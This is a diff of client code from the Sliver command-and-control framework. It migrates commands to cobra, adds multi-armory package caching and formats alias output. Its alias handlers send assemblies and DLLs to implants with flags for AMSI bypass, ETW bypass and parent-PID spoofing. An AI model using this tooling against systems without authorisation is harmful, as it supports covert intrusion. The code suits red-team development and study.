@@ -341,26 +350,37 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	if aliasManifest.IsAssembly {

+		// Flags
+		arch, _ := cmd.Flags().GetString("arch")
+		method, _ := cmd.Flags().GetString("method")
+		className, _ := cmd.Flags().GetString("class")
+		appDomain, _ := cmd.Flags().GetString("app-domain")
+		pPid, _ := cmd.Flags().GetUint32("ppid")
+		inProcess, _ := cmd.Flags().GetBool("in-process")
+		runtime, _ := cmd.Flags().GetString("runtime")
+		amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
+		etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
+
 		// Execute Assembly
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
 		con.SpinUntil(msg, ctrl)
 		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:     con.ActiveTarget.Request(ctx),
+			Request:     con.ActiveTarget.Request(cmd),
 			IsDLL:       isDLL,
 			Process:     processName,
-			Arguments:   extArgs,
+			Arguments:   args,
 			Assembly:    binData,
-			Arch:        ctx.Flags.String("arch"),
-			Method:      ctx.Flags.String("method"),
-			ClassName:   ctx.Flags.String("class"),
-			AppDomain:   ctx.Flags.String("app-domain"),
+			Arch:        arch,
+			Method:      method,
+			ClassName:   className,
+			AppDomain:   appDomain,
 			ProcessArgs: processArgs,
-			PPid:        uint32(ctx.Flags.Uint("ppid")),
-			InProcess:   ctx.Flags.Bool("in-process"),
-			Runtime:     ctx.Flags.String("runtime"),
-			AmsiBypass:  ctx.Flags.Bool("amsi-bypass"),
-			EtwBypass:   ctx.Flags.Bool("etw-bypass"),
+			PPid:        pPid,
+			InProcess:   inProcess,
+			Runtime:     runtime,
+			AmsiBypass:  amsiBypass,
+			EtwBypass:   etwBypass,
 		})
 		ctrl <- true
 		<-ctrl
@@ -376,28 +396,30 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 					con.PrintErrorf("Failed to decode call ext response %s\n", err)
 					return
 				}
-				PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
+				PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con)
 			})
 			con.PrintAsyncResponse(executeAssemblyResp.Response)
 		} else {
-			PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
+			PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con)
 		}

 	} else if aliasManifest.IsReflective {
+		// Flags
+		pPid, _ := cmd.Flags().GetUint32("ppid")

 		// Spawn DLL
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
 		con.SpinUntil(msg, ctrl)
 		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     con.ActiveTarget.Request(ctx),
-			Args:        strings.Trim(extArgs, " "),
+			Request:     con.ActiveTarget.Request(cmd),
+			Args:        args,
 			Data:        binData,
 			ProcessName: processName,
 			EntryPoint:  aliasManifest.Entrypoint,
 			Kill:        true,
 			ProcessArgs: processArgs,
-			PPid:        uint32(ctx.Flags.Uint("ppid")),
+			PPid:        pPid,
 		})
 		ctrl <- true
 		<-ctrl
@@ -413,29 +435,31 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 					con.PrintErrorf("Failed to decode call ext response %s\n", err)
 					return
 				}
-				PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
+				PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con)
 			})
 			con.PrintAsyncResponse(spawnDllResp.Response)
 		} else {
-			PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
+			PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con)
 		}

 	} else {
+		// Flags
+		pPid, _ := cmd.Flags().GetUint32("ppid")

 		// Sideload
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
 		con.SpinUntil(msg, ctrl)
 		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveTarget.Request(ctx),
-			Args:        extArgs,
+			Request:     con.ActiveTarget.Request(cmd),
+			Args:        args,
 			Data:        binData,
 			EntryPoint:  entryPoint,
 			ProcessName: processName,
 			Kill:        true,
 			IsDLL:       isDLL,
 			ProcessArgs: processArgs,
-			PPid:        uint32(ctx.Flags.Uint("ppid")),
+			PPid:        pPid,
 		})
 		ctrl <- true
 		<-ctrl
@@ -451,47 +475,118 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 					con.PrintErrorf("Failed to decode call ext response %s\n", err)
 					return
 				}
-				PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
+				PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con)
 			})
 			con.PrintAsyncResponse(sideloadResp.Response)
 		} else {
-			PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
+			PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con)
 		}
 	}
 }

-// PrintSpawnDLLOutput - Prints the output of a spawn dll command
-func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
+func getOutputWithSchema(schema *packages.OutputSchema, result string) string {
+	if schema == nil {
+		return result
+	}
+
+	outputSchema := packages.GetNewPackageOutput(schema.Name)
+	if outputSchema == nil {
+		return result
+	}
+
+	err := outputSchema.IngestData([]byte(result), schema.Columns(), schema.GroupBy)
+	if err != nil {
+		return result
+	}
+	return outputSchema.CreateTable()
+}
+
+// PrintSpawnDLLOutput - Prints the output of a spawn dll command.
+func PrintSpawnDLLOutput(cmdName string, schema *packages.OutputSchema, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
+	var result string
+
+	if schema != nil {
+		result = getOutputWithSchema(schema, spawnDllResp.GetResult())
+	} else {
+		result = spawnDllResp.GetResult()
+	}
+	con.PrintInfof("%s output:\n%s", cmdName, result)
+
+	// Output the raw result to the file
 	if outFilePath != nil {
-		outFilePath.Write([]byte(spawnDllResp.GetResult()))
+		outFilePath.WriteString(spawnDllResp.GetResult())
 		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

-// PrintSideloadOutput - Prints the output of a sideload command
-func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
+// PrintSideloadOutput - Prints the output of a sideload command.
+func PrintSideloadOutput(cmdName string, schema *packages.OutputSchema, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) {
+	var result string
+
+	if schema != nil {
+		result = getOutputWithSchema(schema, sideloadResp.GetResult())
+	} else {
+		result = sideloadResp.GetResult()
+	}
+	con.PrintInfof("%s output:\n%s", cmdName, result)
+
+	// Output the raw result to the file
 	if outFilePath != nil {
-		outFilePath.Write([]byte(sideloadResp.GetResult()))
+		outFilePath.WriteString(sideloadResp.GetResult())
 		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

-// PrintAssemblyOutput - Prints the output of an execute-assembly command
-func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
-	con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
+// PrintAssemblyOutput - Prints the output of an execute-assembly command.
+func PrintAssemblyOutput(cmdName string, schema *packages.OutputSchema, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) {
+	var result string
+
+	if schema != nil {
+		result = getOutputWithSchema(schema, string(execAsmResp.GetOutput()))
+	} else {
+		result = string(execAsmResp.GetOutput())
+	}
+	con.PrintInfof("%s output:\n%s", cmdName, result)
+
+	// Output the raw result to the file
 	if outFilePath != nil {
 		outFilePath.Write(execAsmResp.GetOutput())
 		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

-func cmdExists(name string, app *grumble.App) bool {
-	for _, c := range app.Commands().All() {
-		if name == c.Name {
-			return true
+func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
+	filtersOS := make(map[string]bool)
+	filtersArch := make(map[string]bool)
+
+	var all []string
+
+	// Only add filters for architectures when there OS matters.
+	for _, file := range alias.Files {
+		filtersOS[file.OS] = true
+
+		if filtersOS[file.OS] {
+			filtersArch[file.Arch] = true
 		}
 	}
-	return false
+
+	for os, enabled := range filtersOS {
+		if enabled {
+			all = append(all, os)
+		}
+	}
+
+	for arch, enabled := range filtersArch {
+		if enabled {
+			all = append(all, arch)
+		}
+	}
+
+	if len(all) == 0 {
+		return map[string]string{}
+	}
+
+	return map[string]string{
+		app.CommandFilterKey: strings.Join(all, ","),
+	}
 }
@@ -27,12 +27,13 @@ import (
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

 // AliasesRemoveCmd - Locally load a alias into the Sliver shell.
-func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
+func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	name := args[0]
+	// name := ctx.Args.String("name")
 	if name == "" {
 		con.PrintErrorf("Extension name is required\n")
 		return
@@ -52,8 +53,8 @@ func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-// RemoveAliasByCommandName - Remove an alias by command name
-func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
+// RemoveAliasByCommandName - Remove an alias by command name.
+func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error {
 	if commandName == "" {
 		return errors.New("command name is required")
 	}
@@ -61,7 +62,7 @@ func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClie
 		return errors.New("alias not loaded")
 	}
 	delete(loadedAliases, commandName)
-	con.App.Commands().Remove(commandName)
+	// con.App.Commands().Remove(commandName)
 	extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
 	if _, err := os.Stat(extPath); os.IsNotExist(err) {
 		return nil
@@ -23,19 +23,21 @@ import (
 	"errors"
 	"fmt"
 	"net/url"
-	"strings"
+	"slices"
 	"sync"
 	"time"

+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/server/cryptography/minisign"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"golang.org/x/term"
+	"github.com/bishopfox/sliver/util/minisign"
 )

 // ArmoryIndex - Index JSON containing alias/extension/bundle information
@@ -53,13 +55,24 @@ type ArmoryPackage struct {
 	RepoURL     string `json:"repo_url"`
 	PublicKey   string `json:"public_key"`

-	IsAlias bool `json:"-"`
+	IsAlias    bool   `json:"-"`
+	ArmoryName string `json:"-"`
+	/*
+		With support for multiple armories, the command name of a package
+		is not unique anymore, so we need something that is unique
+		to be able to keep track of packages.
+
+		This ID will be a hash calculated from properties of the package.
+	*/
+	ID       string `json:"-"`
+	ArmoryPK string `json:"-"`
 }

 // ArmoryBundle - A list of packages
 type ArmoryBundle struct {
-	Name     string   `json:"name"`
-	Packages []string `json:"packages"`
+	Name       string   `json:"name"`
+	Packages   []string `json:"packages"`
+	ArmoryName string   `json:"-"`
 }

 // ArmoryHTTPConfig - Configuration for armory HTTP client
@@ -88,48 +101,75 @@ type pkgCacheEntry struct {
 	Alias        *alias.AliasManifest
 	Extension    *extensions.ExtensionManifest
 	LastErr      error
+	// This corresponds to Pkg.ID
+	ID string
 }

 var (
 	// public key -> armoryCacheEntry
 	indexCache = sync.Map{}
-	// public key -> armoryPkgCacheEntry
+	// package ID -> armoryPkgCacheEntry
 	pkgCache = sync.Map{}
+	// public key -> assets.ArmoryConfig
+	currentArmories = sync.Map{}

 	// cacheTime - How long to cache the index/pkg manifests
-	cacheTime = time.Hour
+	//cacheTime = time.Hour
+	cacheTime = 2 * time.Minute

 	// This will kill a download if exceeded so needs to be large
 	defaultTimeout = 15 * time.Minute
+
+	// Track whether armories have been initialized so that we know if we need to pull from the config
+	armoriesInitialized = false
+
+	// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
+	defaultArmoryRemoved = false
 )

 // ArmoryCmd - The main armory command
-func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	armoriesConfig := assets.GetArmoriesConfig()
-	con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
-	clientConfig := parseArmoryHTTPConfig(ctx)
-	indexes := fetchIndexes(armoriesConfig, clientConfig)
+func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	armoriesConfig := getCurrentArmoryConfiguration()
+	if len(armoriesConfig) == 1 {
+		con.Printf("Reading armory index ... ")
+	} else {
+		con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
+	}
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	indexes := fetchIndexes(clientConfig)
 	if len(indexes) != len(armoriesConfig) {
-		con.Printf("errors!\n")
 		indexCache.Range(func(key, value interface{}) bool {
 			cacheEntry := value.(indexCacheEntry)
 			if cacheEntry.LastErr != nil {
-				con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
+				con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr)
 			}
 			return true
 		})
 	} else {
 		con.Printf("done!\n")
 	}
+	armoriesInitialized = true
+	if len(indexes) == 0 {
+		con.PrintInfof("No indexes found\n")
+		return
+	}
+	aliases := []*alias.AliasManifest{}
+	exts := []*extensions.ExtensionManifest{}

-	if 0 < len(indexes) {
-		con.PrintInfof("Fetching package information ... ")
-		fetchPackageSignatures(indexes, clientConfig)
+	for _, index := range indexes {
 		errorCount := 0
-		aliases := []*alias.AliasManifest{}
-		exts := []*extensions.ExtensionManifest{}
+		con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name)
+		fetchPackageSignatures(index, clientConfig)
 		pkgCache.Range(func(key, value interface{}) bool {
-			cacheEntry := value.(pkgCacheEntry)
+			cacheEntry, ok := value.(pkgCacheEntry)
+			if !ok {
+				// Something is wrong with this entry
+				pkgCache.Delete(value)
+				return true
+			}
+			if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
+				return true
+			}
 			if cacheEntry.LastErr != nil {
 				errorCount++
 				if errorCount == 0 {
@@ -140,7 +180,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				if cacheEntry.Pkg.IsAlias {
 					aliases = append(aliases, cacheEntry.Alias)
 				} else {
-					exts = append(exts, cacheEntry.Extension)
+					exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
 				}
 			}
 			return true
@@ -148,32 +188,52 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if errorCount == 0 {
 			con.Printf("done!\n")
 		}
-		if 0 < len(aliases) || 0 < len(exts) {
-			con.Println()
-			PrintArmoryPackages(aliases, exts, con)
-		} else {
-			con.PrintInfof("No packages found\n")
-		}
-
+	}
+	if 0 < len(aliases) || 0 < len(exts) {
 		con.Println()
-		bundles := bundlesInCache()
-		if 0 < len(bundles) {
-			PrintArmoryBundles(bundles, con)
-		} else {
-			con.PrintInfof("No bundles found\n")
-		}
+		PrintArmoryPackages(aliases, exts, con)
 	} else {
-		con.PrintInfof("No indexes found\n")
+		con.PrintInfof("No packages found\n")
+	}
+	con.Println()
+	bundles := bundlesInCache()
+	if 0 < len(bundles) {
+		PrintArmoryBundles(bundles, con)
+	} else {
+		con.PrintInfof("No bundles found\n")
 	}
 }

 func refresh(clientConfig ArmoryHTTPConfig) {
-	armoriesConfig := assets.GetArmoriesConfig()
-	indexes := fetchIndexes(armoriesConfig, clientConfig)
-	fetchPackageSignatures(indexes, clientConfig)
+	getCurrentArmoryConfiguration()
+	indexes := fetchIndexes(clientConfig)
+	for _, index := range indexes {
+		fetchPackageSignatures(index, clientConfig)
+	}
 }

-func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
+func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) {
+	uniqueAliasNames := []string{}
+	uniqueExtensionNames := []string{}
+
+	for _, alias := range aliases {
+		if !slices.Contains(uniqueAliasNames, alias.CommandName) {
+			uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
+		}
+	}
+
+	for _, ext := range exts {
+		for _, cmd := range ext.ExtCommand {
+			if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
+				uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
+			}
+		}
+	}
+
+	return len(uniqueAliasNames), len(uniqueExtensionNames)
+}
+
+func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
 	aliases := []*alias.AliasManifest{}
 	exts := []*extensions.ExtensionManifest{}
 	pkgCache.Range(func(key, value interface{}) bool {
@@ -182,7 +242,7 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
 			if cacheEntry.Pkg.IsAlias {
 				aliases = append(aliases, cacheEntry.Alias)
 			} else {
-				exts = append(exts, cacheEntry.Extension)
+				exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
 			}
 		}
 		return true
@@ -190,6 +250,125 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
 	return aliases, exts
 }

+func armoryLookupByName(name string) *assets.ArmoryConfig {
+	var result *assets.ArmoryConfig
+
+	indexCache.Range(func(key, value interface{}) bool {
+		indexEntry, ok := value.(indexCacheEntry)
+		if !ok {
+			// Keep going
+			return true
+		}
+		if indexEntry.ArmoryConfig.Name == name {
+			result = indexEntry.ArmoryConfig
+			return false
+		}
+		return true
+	})
+
+	return result
+}
+
+// Returns the packages in the cache with a given name
+func packageCacheLookupByName(name string) []*pkgCacheEntry {
+	var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
+
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry, ok := value.(pkgCacheEntry)
+		if !ok {
+			// Keep going
+			return true
+		}
+		if cacheEntry.Pkg.Name == name {
+			result = append(result, &cacheEntry)
+		}
+		return true
+	})
+
+	return result
+}
+
+// Returns the packages in the cache for a given command name
+func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
+	var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
+
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry, ok := value.(pkgCacheEntry)
+		if !ok {
+			// Keep going
+			return true
+		}
+		if cacheEntry.Pkg.CommandName == commandName {
+			result = append(result, &cacheEntry)
+		}
+		return true
+	})
+
+	return result
+}
+
+// Returns the package in the cache for a given command name and armory
+func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
+	var result *pkgCacheEntry
+
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry, ok := value.(pkgCacheEntry)
+		if !ok {
+			// Keep going
+			return true
+		}
+		if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
+			result = &cacheEntry
+			// Stop iterating
+			return false
+		}
+		return true
+	})
+
+	return result
+}
+
+// Returns the package hashes in the cache for a given armory
+func packageHashLookupByArmory(armoryPublicKey string) []string {
+	result := []string{}
+
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry, ok := value.(pkgCacheEntry)
+		if !ok {
+			// Keep going
+			return true
+		}
+		if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
+			result = append(result, cacheEntry.ID)
+		}
+		return true
+	})
+
+	return result
+}
+
+func packageCacheLookupByID(packageID string) *pkgCacheEntry {
+	var packageEntry *pkgCacheEntry
+
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry, ok := value.(pkgCacheEntry)
+		if !ok {
+			// Keep going
+			return true
+		}
+		if cacheEntry.LastErr == nil {
+			if cacheEntry.ID == packageID {
+				packageEntry = &cacheEntry
+				// Stop iterating
+				return false
+			}
+		}
+		return true
+	})
+
+	return packageEntry
+}
+
 func bundlesInCache() []*ArmoryBundle {
 	bundles := []*ArmoryBundle{}
 	indexCache.Range(func(key, value interface{}) bool {
@@ -201,41 +380,61 @@ func bundlesInCache() []*ArmoryBundle {
 }

 // AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
-func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
-	results := []string{}
-	aliases, exts := packagesInCache()
-	bundles := bundlesInCache()
-	for _, aliasPkg := range aliases {
-		if strings.HasPrefix(aliasPkg.CommandName, prefix) {
+func AliasExtensionOrBundleCompleter() carapace.Action {
+	comps := func(ctx carapace.Context) carapace.Action {
+		var action carapace.Action
+
+		results := []string{}
+		aliases, exts := packageManifestsInCache()
+		bundles := bundlesInCache()
+
+		for _, aliasPkg := range aliases {
 			results = append(results, aliasPkg.CommandName)
+			results = append(results, aliasPkg.Help)
 		}
-	}
-	for _, extensionPkg := range exts {
-		if strings.HasPrefix(extensionPkg.CommandName, prefix) {
-			results = append(results, extensionPkg.CommandName)
+		aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
+		results = make([]string, 0)
+
+		for _, extension := range exts {
+			for _, extensionPkg := range extension.ExtCommand {
+				results = append(results, extensionPkg.CommandName)
+				results = append(results, extensionPkg.Help)
+			}
 		}
-	}
-	for _, bundle := range bundles {
-		if strings.HasPrefix(bundle.Name, prefix) {
+		extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
+		results = make([]string, 0)
+
+		for _, bundle := range bundles {
 			results = append(results, bundle.Name)
 		}
+		bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
+
+		return action.Invoke(ctx).Merge(
+			aliasesComps,
+			extentionComps,
+			bundleComps,
+		).ToA()
 	}
-	return results
+
+	return carapace.ActionCallback(comps)
 }

 // PrintArmoryPackages - Prints the armory packages
-func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
+func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) {
 	width, _, err := term.GetSize(0)
 	if err != nil {
-		width = 999
+		width = 1
 	}

 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.SetTitle(console.Bold + "Packages" + console.Normal)

-	if con.Settings.SmallTermWidth < width {
+	urlMargin := 150 // Extra margin needed to show URL column
+
+	if con.Settings.SmallTermWidth+urlMargin < width {
 		tw.AppendHeader(table.Row{
+			"Armory",
 			"Command Name",
 			"Version",
 			"Type",
@@ -244,6 +443,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 		})
 	} else {
 		tw.AppendHeader(table.Row{
+			"Armory",
 			"Command Name",
 			"Version",
 			"Type",
@@ -253,10 +453,11 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte

 	// Columns start at 1 for some dumb reason
 	tw.SortBy([]table.SortBy{
-		{Number: 1, Mode: table.Asc},
+		{Number: 2, Mode: table.Asc},
 	})

 	type pkgInfo struct {
+		ArmoryName  string
 		CommandName string
 		Version     string
 		Type        string
@@ -264,8 +465,10 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 		URL         string
 	}
 	entries := []pkgInfo{}
+
 	for _, aliasPkg := range aliases {
 		entries = append(entries, pkgInfo{
+			ArmoryName:  aliasPkg.ArmoryName,
 			CommandName: aliasPkg.CommandName,
 			Version:     aliasPkg.Version,
 			Type:        "Alias",
@@ -273,24 +476,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 			URL:         aliasPkg.RepoURL,
 		})
 	}
-	for _, extension := range exts {
-		entries = append(entries, pkgInfo{
-			CommandName: extension.CommandName,
-			Version:     extension.Version,
-			Type:        "Extension",
-			Help:        extension.Help,
-			URL:         extension.RepoURL,
-		})
+	for _, extm := range exts {
+		for _, extension := range extm.ExtCommand {
+			entries = append(entries, pkgInfo{
+				ArmoryName:  extm.ArmoryName,
+				CommandName: extension.CommandName,
+				Version:     extension.Manifest.Version,
+				Type:        "Extension",
+				Help:        extension.Help,
+				URL:         extension.Manifest.RepoURL,
+			})
+		}
 	}

+	sliverMenu := con.App.Menu("implant")
+
 	rows := []table.Row{}
 	for _, pkg := range entries {
 		color := console.Normal
-		if extensions.CmdExists(pkg.CommandName, con.App) {
+		if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
 			color = console.Green
 		}
-		if con.Settings.SmallTermWidth < width {
+		if con.Settings.SmallTermWidth+urlMargin < width {
 			rows = append(rows, table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
@@ -299,6 +508,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 			})
 		} else {
 			rows = append(rows, table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
@@ -311,11 +521,12 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 }

 // PrintArmoryBundles - Prints the armory bundles
-func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
+func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.SetTitle(console.Bold + "Bundles" + console.Normal)
 	tw.AppendHeader(table.Row{
+		"Armory Name",
 		"Name",
 		"Contains",
 	})
@@ -341,6 +552,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
 			}
 		}
 		tw.AppendRow(table.Row{
+			bundle.ArmoryName,
 			bundle.Name,
 			packages,
 		})
@@ -348,15 +560,15 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
 	con.Printf("%s\n", tw.Render())
 }

-func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
+func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
 	var proxyURL *url.URL
-	rawProxyURL := ctx.Flags.String("proxy")
+	rawProxyURL, _ := cmd.Flags().GetString("proxy")
 	if rawProxyURL != "" {
 		proxyURL, _ = url.Parse(rawProxyURL)
 	}

 	timeout := defaultTimeout
-	rawTimeout := ctx.Flags.String("timeout")
+	rawTimeout, _ := cmd.Flags().GetString("timeout")
 	if rawTimeout != "" {
 		var err error
 		timeout, err = time.ParseDuration(rawTimeout)
@@ -365,22 +577,32 @@ func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
 		}
 	}

+	ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
+	disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
+
 	return ArmoryHTTPConfig{
-		IgnoreCache:          ctx.Flags.Bool("ignore-cache"),
+		IgnoreCache:          ignoreCache,
 		ProxyURL:             proxyURL,
 		Timeout:              timeout,
-		DisableTLSValidation: ctx.Flags.Bool("insecure"),
+		DisableTLSValidation: disableTLSValidation,
 	}
 }

 // fetch armory indexes, only returns indexes that were fetched successfully
 // errors are still in the cache objects however and can be checked
-func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
+func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
 	wg := &sync.WaitGroup{}
-	for _, armoryConfig := range armoryConfigs {
-		wg.Add(1)
-		go fetchIndex(armoryConfig, clientConfig, wg)
-	}
+	// Try to get a max of 10 indexes at a time
+	currentRequests := make(chan struct{}, 10)
+	currentArmories.Range(func(key, value interface{}) bool {
+		armoryEntry := value.(assets.ArmoryConfig)
+		if armoryEntry.Enabled {
+			wg.Add(1)
+			currentRequests <- struct{}{}
+			go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
+		}
+		return true
+	})
 	wg.Wait()
 	indexes := []ArmoryIndex{}
